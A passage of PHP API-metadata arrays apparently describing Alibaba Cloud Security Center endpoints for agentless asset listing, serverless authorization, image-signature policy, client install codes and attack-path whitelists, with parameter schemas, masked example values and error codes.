'parameters' => [ [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number in a paginated query.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The maximum number of items to return per page in a paginated query.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '10', ], ], [ 'name' => 'TargetType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the detection target. Values:'."\n" ."\n" .'- **3**: User snapshot'."\n" ."\n" .'- **4**: User-defined image', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'InstanceId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the asset instance.', 'type' => 'string', 'required' => false, 'example' => 's-bp1g6wxdwps7s9dz****', ], ], [ 'name' => 'InstanceName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the asset instance.', 'type' => 'string', 'required' => false, 'example' => 'ca_cpm_******', ], ], [ 'name' => 'DiskType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the cloud disk. Values:'."\n" ."\n" .'- **system**: System disk'."\n" ."\n" .'- **data**: Data disk', 'type' => 'string', 'required' => false, 'example' => 'data', ], ], [ 'name' => 'Platform', 'in' => 'query', 'schema' => [ 'description' => 'The type of the operating system.', 'type' => 'string', 'required' => false, 'example' => 'CentOS', ], ], [ 'name' => 'ScanRegionId', 'in' => 'query', 'schema' => [ 'description' => 'The region ID.', 'type' => 'string', 'required' => false, 'example' => 'cn-beijing', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is a unique identifier generated by Alibaba Cloud for this request and can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', ], 'PageInfo' => [ 'description' => 'Pagination information.', 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The current page number in a paginated query.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The maximum number of items to display per page in a paginated query.', 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'TotalCount' => [ 'description' => 'The total number of items.', 'type' => 'integer', 'format' => 'int32', 'example' => '90', ], ], ], 'AssetList' => [ 'description' => 'The list of returned assets.', 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'InstanceId' => [ 'description' => 'The instance ID.', 'type' => 'string', 'example' => 's-rj9gda4wolo0zixi****', ], 'InstanceName' => [ 'description' => 'The instance name.', 'type' => 'string', 'example' => 'TestInstanceName', ], 'TargetType' => [ 'description' => 'The type of the asset. Values:'."\n" ."\n" .'- **3**: User snapshot'."\n" ."\n" .'- **4**: User-defined image', 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'RegionId' => [ 'description' => 'The region ID.', 'type' => 'string', 'example' => 'cn-hangzhou', ], 'DiskType' => [ 'description' => 'The type of the cloud disk. Values:'."\n" ."\n" .'- system: System disk.'."\n" ."\n" .'- data: Data disk.', 'type' => 'string', 'example' => 'system', ], 'Platform' => [ 'description' => 'Operating system type.', 'type' => 'string', 'example' => 'CentOS', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 90\\n },\\n \\"AssetList\\": [\\n {\\n \\"InstanceId\\": \\"s-rj9gda4wolo0zixi****\\",\\n \\"InstanceName\\": \\"TestInstanceName\\",\\n \\"TargetType\\": 3,\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"DiskType\\": \\"system\\",\\n \\"Platform\\": \\"CentOS\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListAgentlessAsset', 'translator' => 'machine', ], 'ModifyServerlessAuthToMachine' => [ 'summary' => 'Manage Serverless Asset Authorization', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '229832', 'abilityTreeNodes' => [ 'FEATUREsasA217JR', ], ], 'parameters' => [ [ 'name' => 'BindUuidList', 'in' => 'query', 'allowEmptyValue' => false, 'style' => 'repeatList', 'schema' => [ 'description' => 'List of asset UUIDs to be bound.', 'type' => 'array', 'items' => [ 'description' => 'Asset UUID to be bound.', 'type' => 'string', 'required' => false, 'example' => '96a005f3-*051a698*', ], 'required' => false, 'maxItems' => 2000, ], ], [ 'name' => 'UnBindUuidList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'List of asset UUIDs to be unbound.', 'type' => 'array', 'items' => [ 'description' => 'Asset UUID to be unbound.', 'type' => 'string', 'required' => false, 'example' => '96a005f3-*051a698*', ], 'required' => false, 'maxItems' => 2000, ], ], [ 'name' => 'Criteria', 'in' => 'query', 'schema' => [ 'description' => 'Set the conditions for searching assets. This parameter is in JSON format, and case sensitivity should be noted when entering parameters.'."\n" .'> Supports searching assets using instance ID, instance name, VPC ID, region, public IP address, etc. You can call the [DescribeCriteria](~~DescribeCriteria~~) interface to query supported search conditions.', 'type' => 'string', 'required' => false, 'example' => '[{"name":"vulStatus","value":"YES","logicalExp":"AND"}]', ], ], [ 'name' => 'LogicalExp', 'in' => 'query', 'schema' => [ 'description' => 'Set the logical relationship between multiple search conditions. Values:'."\n" .'- **OR**: Indicates an **or** relationship between multiple conditions.'."\n" .'- **AND**: Indicates an **and** relationship between multiple conditions.', 'type' => 'string', 'required' => false, 'example' => 'OR', ], ], [ 'name' => 'BindAll', 'in' => 'query', 'schema' => [ 'description' => 'Whether to bind all. Default is **false**. Values:'."\n" ."\n" .'- **true**: Yes'."\n" .'- **false**: No', 'type' => 'boolean', 'required' => false, 'example' => 'false', ], ], [ 'name' => 'AutoBind', 'in' => 'query', 'schema' => [ 'description' => 'Enable auto-binding. Values:'."\n" ."\n" .'- **0**: Off'."\n" .'- **1**: On', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PreBindOrderId', 'in' => 'query', 'schema' => [ 'title' => '预绑定订单id', 'description' => 'Pre-bind order ID.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '233016**0482', ], ], [ 'name' => 'PreBind', 'in' => 'query', 'schema' => [ 'title' => '是否预绑定', 'description' => 'Whether it is a pre-bind operation. Values:'."\n" ."\n" .'- **0**: No'."\n" .'- **1**: Yes'."\n" ."\n\n" .'> After enabling pre-binding, the specified server will automatically bind the corresponding version\'s authorization count after the purchase is completed.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'NtmVersion', 'in' => 'query', 'schema' => [ 'title' => 'NTM版本代码，用于预绑定', 'description' => 'NTM version code, used for pre-binding.', 'type' => 'string', 'required' => false, 'example' => 'level2', ], ], [ 'name' => 'AuthItem', 'in' => 'query', 'schema' => [ 'title' => '实例类型:取值ASSET/SERVERLESS', 'description' => 'Instance type. Values:'."\n" .'- **SERVERLESS**: Serverless asset', 'type' => 'string', 'required' => false, 'example' => 'SERVERLESS', ], ], [ 'name' => 'BindAssetType', 'in' => 'query', 'schema' => [ 'title' => '操作资产类型: INSTANCE/APP', 'description' => 'Type of asset to operate on. Values:'."\n" .'- **INSTANCE**: Instance'."\n" .'- **APP**: Application', 'type' => 'string', 'required' => false, 'example' => 'APP', ], ], [ 'name' => 'BindAppList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'title' => '绑定应用id列表', 'description' => 'List of application IDs to be bound.'."\n" ."\n" .'> Obtained through the [ListMachineApps](~~ListMachineApps~~) interface.', 'type' => 'array', 'items' => [ 'description' => 'Application ID.', 'type' => 'string', 'required' => false, 'example' => '**7ad7e3a'."\n", ], 'required' => false, 'maxItems' => 2000, ], ], [ 'name' => 'UnBindAppList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'title' => '解绑应用Id列表', 'description' => 'List of application IDs to be unbound.'."\n" ."\n" .'> Obtained through the [ListMachineApps](~~ListMachineApps~~) interface.', 'type' => 'array', 'items' => [ 'description' => 'Application ID to be unbound.', 'type' => 'string', 'required' => false, 'example' => '**7ad7e3a', ], 'required' => false, 'maxItems' => 2000, ], ], [ 'name' => 'AppCriteria', 'in' => 'query', 'schema' => [ 'title' => '应用查询条件', 'description' => 'Application query condition.', 'type' => 'string', 'required' => false, 'example' => '**7ad7e3a', ], ], [ 'name' => 'ResourceDirectoryUid', 'in' => 'query', 'schema' => [ 'description' => 'UID of the associated resource directory.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '123456', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'PlainResult', 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'Details of the returned data.', 'type' => 'object', 'properties' => [ 'ResultCode' => [ 'title' => '结果代码', 'description' => 'Result code. Values:'."\n" .'- **0**: Success'."\n" .'- **1**: Parameter error', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], ], ], 'RequestId' => [ 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', 'type' => 'string', 'example' => 'A47F77A1***8CD37050E', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"ResultCode\\": 0\\n },\\n \\"RequestId\\": \\"A47F77A1***8CD37050E\\"\\n}","type":"json"}]', 'title' => 'Manage Serverless Asset Authorization', 'translator' => 'machine', ], 'ModifyBinarySecurityPolicy' => [ 'summary' => 'Modify Container Image Signature Security Policy.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '92353', 'abilityTreeNodes' => [ 'FEATUREsasJEFOWE', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The IP address of the access source.'."\n", 'type' => 'string', 'required' => false, 'example' => '1.2.3.4', ], ], [ 'name' => 'Name', 'in' => 'query', 'schema' => [ 'description' => 'Policy name.', 'type' => 'string', 'required' => false, 'example' => 'test-policy-04-11', ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'Remark.', 'type' => 'string', 'required' => false, 'example' => 'Remark', ], ], [ 'name' => 'Policy', 'in' => 'query', 'schema' => [ 'description' => 'Policy content. JSON format, Key values:'."\n" .'- **policyMode**: Type of policy, default is requireAttestor.'."\n" .'- **requiredAttestors**: Required attestors.', 'type' => 'string', 'required' => true, 'example' => '{\\"PolicyMode\\":\\"requireAttestor\\",\\"RequiredAttestors\\":[\\"test-xcs-04-11-hhht\\"]}', ], ], [ 'name' => 'Clusters', 'in' => 'query', 'schema' => [ 'description' => 'Cluster information.', 'type' => 'string', 'required' => true, 'example' => '[{\\"Namespaces\\":[\\"default\\"],\\"ClusterId\\":\\"c9f5b93a8da8f4341b77***********\\"},{\\"Namespaces\\":[\\"default\\"],\\"ClusterId\\":\\"cc12429dbb8f644f690b0***********\\"}]', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'Set to enable or disable the policy. Values:'."\n" ."\n" .'- **enabled**: Enable the protection policy.'."\n" .'- **disabled**: Disable the protection policy.', 'type' => 'string', 'required' => false, 'enumValueTitles' => [ 'disabled' => '', 'enabled' => '', ], 'example' => 'enabled', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID of the result.', 'type' => 'string', 'example' => 'C699E4E4-F2F4-58FC-A949-457FFE59****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"C699E4E4-F2F4-58FC-A949-457FFE59****\\"\\n}","type":"json"}]', 'title' => 'Modify Container Image Signature Security Policy', 'translator' => 'machine', ], 'GetInstallCodeForUuid' => [ 'summary' => 'Query Asset Installation Code', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '137420', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], ], 'parameters' => [ [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server for which the client installation code is to be queried.'."\n" ."\n\n" .'> Call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) API to obtain this parameter.', 'type' => 'string', 'required' => true, 'example' => 'eae0b46e-2155-422e-9565-ecc52c69****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the current request, a unique identifier generated by Alibaba Cloud for troubleshooting and issue localization.', 'type' => 'string', 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447DDCAE1', ], 'Code' => [ 'description' => 'API status code.', 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], 'Message' => [ 'description' => 'Response message from the request.', 'type' => 'string', 'example' => 'successful', ], 'HttpStatusCode' => [ 'description' => 'HTTP status code', 'type' => 'integer', 'format' => 'int64', 'example' => '200', ], 'InstallCode' => [ 'description' => 'Client installation code.', 'type' => 'object', 'properties' => [ 'CaptchaCode' => [ 'description' => 'Installation verification code for manually installing the Cloud Security Center client.', 'type' => 'string', 'example' => 'AK1W**', ], 'ExpiredDate' => [ 'description' => 'Expiration date of the installation verification code. The format is a 13-digit timestamp.'."\n" .'> The installation verification code can only be used within its validity period. Expired codes cannot be used.', 'type' => 'integer', 'format' => 'int64', 'example' => '1723860871689', ], 'GroupId' => [ 'description' => 'Server group ID.', 'type' => 'integer', 'format' => 'int64', 'example' => '342710', ], 'GroupName' => [ 'description' => 'Server group name.', 'type' => 'string', 'example' => 'TestGroup', ], 'Os' => [ 'description' => 'Operating system of the server. Values:'."\n" ."\n" .'- **linux**: Linux'."\n" ."\n" .'- **windows**: Windows', 'type' => 'string', 'example' => 'linux', ], 'VendorName' => [ 'description' => 'Name of the server vendor.', 'type' => 'string', 'example' => 'ALIYUN', ], ], ], 'Success' => [ 'description' => 'The status of the returned query result. Values: - **true**: Success - **false**: Failure', 'type' => 'boolean', 'example' => 'true', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParameter', 'errorMessage' => 'Illegal parameter, please check the param.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7532B7EE-7CE7-5F4D-BF04-B12447DDCAE1\\",\\n \\"Code\\": 200,\\n \\"Message\\": \\"successful\\",\\n \\"HttpStatusCode\\": 200,\\n \\"InstallCode\\": {\\n \\"CaptchaCode\\": \\"AK1W**\\",\\n \\"ExpiredDate\\": 1723860871689,\\n \\"GroupId\\": 342710,\\n \\"GroupName\\": \\"TestGroup\\",\\n \\"Os\\": \\"linux\\",\\n \\"VendorName\\": \\"ALIYUN\\"\\n },\\n \\"Success\\": true\\n}","type":"json"}]', 'title' => 'Query Client Installation Code for Specified Asset via UUID', 'translator' => 'machine', ], 'UpdateAttackPathWhitelist' => [ 'summary' => 'Update Attack Path Whitelist.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '226519', 'abilityTreeNodes' => [ 'FEATUREsasAIJXMJ', ], ], 'parameters' => [ [ 'name' => 'AttackPathAssetList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'List of cloud product assets in the attack path.', 'type' => 'array', 'items' => [ 'description' => 'List of cloud product assets in the attack path.', 'type' => 'object', 'properties' => [ 'InstanceId' => [ 'description' => 'Cloud product asset instance ID.'."\n" ."\n" .'> You can call [ListCloudAssetInstances](~~ListCloudAssetInstances~~) to query the cloud product asset instance ID.', 'type' => 'string', 'required' => false, 'example' => 'i-8vb0e8qdaj0yyxjo****'."\n", ], 'RegionId' => [ 'description' => 'Region ID of the cloud product asset instance.'."\n" ."\n" .'> You can call [ListCloudAssetInstances](~~ListCloudAssetInstances~~) to query the region ID of the cloud product asset instance.', 'type' => 'string', 'required' => false, 'example' => 'cn-shanghai', ], 'Vendor' => [ 'description' => 'Vendor of the cloud product asset.'."\n" ."\n" .'> You can call [ListCloudAssetInstances](~~ListCloudAssetInstances~~) to query the vendor of the cloud product asset.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], 'AssetType' => [ 'description' => 'Type of the cloud product asset.'."\n" ."\n" .'> You can call [ListCloudAssetInstances](~~ListCloudAssetInstances~~) to query the type of the cloud product asset.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], 'AssetSubType' => [ 'description' => 'Subtype of the cloud product asset.'."\n" ."\n" .'> You can call [ListCloudAssetInstances](~~ListCloudAssetInstances~~) to query the subtype of the cloud product asset.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], 'NodeType' => [ 'description' => 'Node type, with values:'."\n" .'- **start**: Start point.'."\n" .'- **end**: End point.', 'type' => 'string', 'required' => false, 'example' => 'start', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'PathType', 'in' => 'query', 'schema' => [ 'description' => 'Path type.'."\n" .'> You can call [ListAvailableAttackPath](~~ListAvailableAttackPath~~) to query the path type.', 'type' => 'string', 'required' => false, 'example' => 'role_escalation', ], ], [ 'name' => 'PathName', 'in' => 'query', 'schema' => [ 'description' => 'Path name.'."\n" ."\n" .'> You can call [ListAvailableAttackPath](~~ListAvailableAttackPath~~) to query the path name.', 'type' => 'string', 'required' => false, 'example' => 'ecs_get_credential_by_create_login_profile', ], ], [ 'name' => 'WhitelistType', 'in' => 'query', 'schema' => [ 'description' => 'Whitelist type. Values:'."\n" ."\n" .'- **ALL_ASSET**: All assets'."\n" .'- **PART_ASSET**: Partial assets', 'type' => 'string', 'required' => false, 'example' => 'ALL_ASSET', ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'Remark information.', 'type' => 'string', 'required' => false, 'example' => 'test', ], ], [ 'name' => 'AttackPathWhitelistId', 'in' => 'query', 'schema' => [ 'description' => 'Attack path whitelist ID.'."\n" .'> You can call [ListAttackPathWhitelist](~~ListAttackPathWhitelist~~) to query the attack path whitelist ID.', 'type' => 'string', 'required' => true, 'example' => 'apwl-b33dec0acf9b42aabde032d656c0****', ], ], [ 'name' => 'WhitelistName', 'in' => 'query', 'schema' => [ 'description' => 'Whitelist name.', 'type' => 'string', 'required' => false, 'example' => 'test', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of this request, which is a unique identifier generated by Alibaba Cloud for this request and can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => '898F7AA7-CECD-5EC7-AF4D-664C601B****', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'DataNotExists', 'errorMessage' => 'data not exist', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"898F7AA7-CECD-5EC7-AF4D-664C601B****\\"\\n}","type":"json"}]', 'title' => 'UpdateAttackPathWhitelist', 'translator' => 'machine', ], 'DeleteAttackPathWhitelist' => [ 'summary' => 'Delete Attack Path Whitelist.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'delete', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '226531', 'abilityTreeNodes' => [ 'FEATUREsasAIJXMJ', ], ], 'parameters' => [ [ 'name' => 'AttackPathWhitelistId', 'in' => 'query', 'schema' => [ 'description' => 'Attack path whitelist ID.'."\n" .'> You can call [ListAttackPathWhitelist](~~ListAttackPathWhitelist~~) to query the attack path whitelist ID.', 'type' => 'string', 'required' => true, 'example' => 'apwl-b33dec0acf9b42aabde032d656c0****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of this request, which is a unique identifier generated by Alibaba Cloud for this request and can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => '898F7AA7-CECD-5EC7-AF4D-664C601B****', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'DataNotExists', 'errorMessage' => 'data not exist', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"898F7AA7-CECD-5EC7-AF4D-664C601B****\\"\\n}","type":"json"}]', 'title' => 'DeleteAttackPathWhitelist', 'translator' => 'machine', ], 'DeleteAttackPathSensitiveAssetConfig' => [ 'summary' => 'Delete attack path sensitive asset.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'delete', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '226508', 'abilityTreeNodes' => [ 'FEATUREsasAIJXMJ', ], ], 'parameters' => [ [ 'name' => 'AttackPathSensitiveAssetConfigId', 'in' => 'query', 'schema' => [ 'description' => 'ID of the attack path sensitive asset configuration.', 'type' => 'string', 'required' => true, 'example' => 'apsac-123', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.', 'type' => 'string', 'example' => 'D65AADFC-1D20-5A6A-8F6A-9FA53C0D****', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'DataNotExists', 'errorMessage' => 'data not exist', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D65AADFC-1D20-5A6A-8F6A-9FA53C0D****\\"\\n}","type":"json"}]', 'title' => 'DeleteAttackPathSensitiveAssetConfig', 'translator' => 'machine', ], 'ListSupportAttackPathAsset' => [ 'summary' => 'Query the list of supported cloud products for attacks.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '227643', 'abilityTreeNodes' => [ 'FEATUREsasAIJXMJ', ], 'autoTest' => true, 'tenantRelevance' => 'tenant', ], 'parameters' => [ [ 'name' => 'SupportType', 'in' => 'query', 'schema' => [ 'description' => 'Support type, with values:'."\n" .'- **event**: Attack path alert event.'."\n" .'- **whitelist**: Attack path whitelist.'."\n" .'- **sensitive**: Sensitive assets in the attack path.', 'type' => 'string', 'required' => true, 'example' => 'event', ], ], [ 'name' => 'NodeType', 'in' => 'query', 'schema' => [ 'description' => 'Node type, with values:'."\n" .'- **start**: Start point.'."\n" .'- **end**: End point.', 'type' => 'string', 'required' => false, 'example' => 'end', ], ], [ 'name' => 'PathType', 'in' => 'query', 'schema' => [ 'description' => 'Path type.'."\n" .'> You can call [ListAvailableAttackPath](~~ListAvailableAttackPath~~) to query the path types.', 'type' => 'string', 'required' => false, 'example' => 'role_escalation', ], ], [ 'name' => 'PathName', 'in' => 'query', 'schema' => [ 'description' => 'Path name.'."\n" ."\n" .'> You can call [ListAvailableAttackPath](~~ListAvailableAttackPath~~) to query the path names.', 'type' => 'string', 'required' => false, 'example' => 'ecs_get_credential_by_create_login_profile', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of this request, which is a unique identifier generated by Alibaba Cloud for this request and can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => '3956048F-9D73-5EDB-834B-4827BB48***', ], 'AttackPathAssetTypeList' => [ 'description' => 'List of cloud product asset types for the attack path.', 'type' => 'array', 'items' => [ 'description' => 'Cloud product asset type for the attack path.', 'type' => 'object', 'properties' => [ 'AssetSubType' => [ 'description' => 'Subtype of the cloud product asset.', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], 'AssetType' => [ 'description' => 'Type of the cloud product asset.', 'type' => 'integer', 'format' => 'int64', 'example' => '13', ], 'Vendor' => [ 'description' => 'Vendor of the cloud product asset.', 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3956048F-9D73-5EDB-834B-4827BB48***\\",\\n \\"AttackPathAssetTypeList\\": [\\n {\\n \\"AssetSubType\\": 0,\\n \\"AssetType\\": 13,\\n \\"Vendor\\": 0\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListSupportAttackPathAsset', 'translator' => 'machine', ], 'GetAttackPathWhitelist' => [ 'summary' => 'Query Attack Path Whitelist Details.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '226516', 'abilityTreeNodes' => [ 'FEATUREsasAIJXMJ', ], ], 'parameters' => [ [ 'name' => 'AttackPathWhitelistId', 'in' => 'query', 'schema' => [ 'description' => 'Attack path whitelist ID.'."\n" .'> You can call [ListAttackPathWhitelist](~~ListAttackPathWhitelist~~) to query the attack path whitelist ID.', 'type' => 'string', 'required' => true, 'example' => 'apwl-b33dec0acf9b42aabde032d656c0****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of this request, which is a unique identifier generated by Alibaba Cloud for the request and can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => 'D03DD0FD-6041-5107-AC00-383E28F1****', ], 'AttackPathWhitelist' => [ 'description' => 'Attack path whitelist.', 'type' => 'object', 'properties' => [ 'AttackPathAssetList' => [ 'description' => 'List of cloud product assets in the attack path.', 'type' => 'array', 'items' => [ 'description' => 'List of cloud product assets in the attack path.', 'type' => 'object', 'properties' => [ 'AssetSubType' => [ 'description' => 'Subtype of the cloud product asset.', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'AssetType' => [ 'description' => 'Type of the cloud product asset.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'InstanceId' => [ 'description' => 'Instance ID of the cloud product asset.', 'type' => 'string', 'example' => 'i-8vb0e8qdaj0yyxjo****'."\n", ], 'RegionId' => [ 'description' => 'Region ID of the cloud product asset instance.', 'type' => 'string', 'example' => 'cn-shanghai', ], 'Vendor' => [ 'description' => 'Vendor of the cloud product asset.', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'InstanceName' => [ 'description' => 'Instance name.', 'type' => 'string', 'example' => 'xwl', ], 'NodeType' => [ 'description' => 'Node type, values:'."\n" .'- **start**: Start point.'."\n" .'- **end**: End point.', 'type' => 'string', 'example' => 'start', ], ], ], ], 'AttackPathWhitelistId' => [ 'description' => 'Attack path whitelist ID.', 'type' => 'string', 'example' => 'apwl-b33dec0acf9b42aabde032d656c0****'."\n", ], 'LastModifiedTimestamp' => [ 'description' => 'Last modified timestamp, in milliseconds.', 'type' => 'integer', 'format' => 'int64', 'example' => '1743004587000', ], 'PathName' => [ 'description' => 'Path name.', 'type' => 'string', 'example' => 'ecs_get_credential_by_create_login_profile', ], 'PathType' => [ 'description' => 'Path type.', 'type' => 'string', 'example' => 'role_escalation', ], 'Remark' => [ 'description' => 'Remark information.', 'type' => 'string', 'example' 